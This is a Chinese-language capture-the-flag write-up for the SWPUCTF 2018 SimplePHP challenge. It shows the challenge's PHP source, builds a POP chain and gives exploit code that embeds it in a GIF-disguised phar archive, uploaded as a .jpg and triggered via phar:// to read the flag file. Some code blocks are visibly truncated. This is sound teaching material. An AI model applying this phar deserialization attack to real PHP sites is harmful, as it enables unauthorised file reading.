[SWPUCTF 2018]SimplePHP_wp

本题考查了pop链的构造,以及phar反序列化

[SWPUCTF 2018]SimplePHP_wp_第1张图片

 打开题目有三个模块,首页没有任何功能,上传文件有一个文件上传点,在查看文件模块的url中有一个参数file可控,我们可以尝试一下是否能得到一些信息

 经过尝试后发现利用这个file参数可以进行文件读取

[SWPUCTF 2018]SimplePHP_wp_第2张图片

 但是index.php文件里没有什么有用信息,查看页面源代码发现有个提示

 我们尝试访问f1ag.php文件,但是发现存在过滤

[SWPUCTF 2018]SimplePHP_wp_第3张图片

 所以这里尝试访问有可能存在的文件file.php,发现里面有一段源码

//file.php源码
There is no file to show!

"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); } ?>

 分析可知这是文件查看模块的源码,包含了function.php和class.php文件,下一步可以去访问这两个文件

//function.php
alert("上传成功!");'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>

 function.php是文件上传模块的源码,大题功能就是将我们上传的文件进行过滤,只允许上传gif、jpeg、jpg、png格式的文件,然后将上传成功的文件进行md5编码重命名,最后存储在upload目录下,这段源码没有什么可以利用的点

//class.php
str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

 class.php文件是文件查找模块中所使用的类,在Test类中的file_get($value)方法中有file_get_contents()函数,我们可以利用这个函数来读取f1ag.php文件的内容得到flag,那要调用file_get()方法,就需要构造pop链了,我们从目标函数所在类进行分析

[SWPUCTF 2018]SimplePHP_wp_第4张图片

 file_get_contents()的$value值是方法file_get()传入的;file_get()方法的$value值是get()方法中的赋值语句赋予的

那么从这里就要看$key的值,params[$key]中$key的值是_get()魔术方法中传入的,_get()魔术方法是当调用一个类中不存在的属性时自动被调用,而$key的值就是那个不存在的属性,所以在我们构造pop链调用Test类中不存在的属性时,要让这个不存在的属性的值为"f1ag.php"从而让$value的值为 "f1ag.php";Test类分析完,要找到能触发_get()魔术方法的类

[SWPUCTF 2018]SimplePHP_wp_第5张图片

 接下来就要找能够触发_toString()魔术方法的类

[SWPUCTF 2018]SimplePHP_wp_第6张图片

 因为_destrust()魔术方法可以自动调用,所以到这里就找到了pop链的头,只要让$str为Show类的对象即可,接下来就可以构造exp了

str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";
?>

exp有了但是没有反序列化的点咋办,这里就需要利用phar的知识

 不了解phar反序列化的可以康康

[SWPUCTF 2018]SimplePHP_wp_第7张图片

以上这些函数都可以反序列化phar文件,这时候会看file.php就会发现文件查看模块存在phar反序列化点

[SWPUCTF 2018]SimplePHP_wp_第8张图片

 将exp加上phar文件格式构造好phar文件

str = new Show();
$a->str->str['str'] = new Test();
$a->str->str['str']->params["source"] = "/var/www/html/f1ag.php";

@unlink("lfl.phar");
$phar = new Phar("lfl.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?> 

因为文件上传模块存在过滤,所以将phar文件的后缀改为jpg上传,然后访问upload目录可以看到重命名后的phar文件

[SWPUCTF 2018]SimplePHP_wp_第9张图片

 最后在文件查找模块使用phar协议访问我们上传的文件即可得到base64编码后的flag,解码即可

[SWPUCTF 2018]SimplePHP_wp_第10张图片 

 

 

 

 

 

你可能感兴趣的:(BUUCTF,php)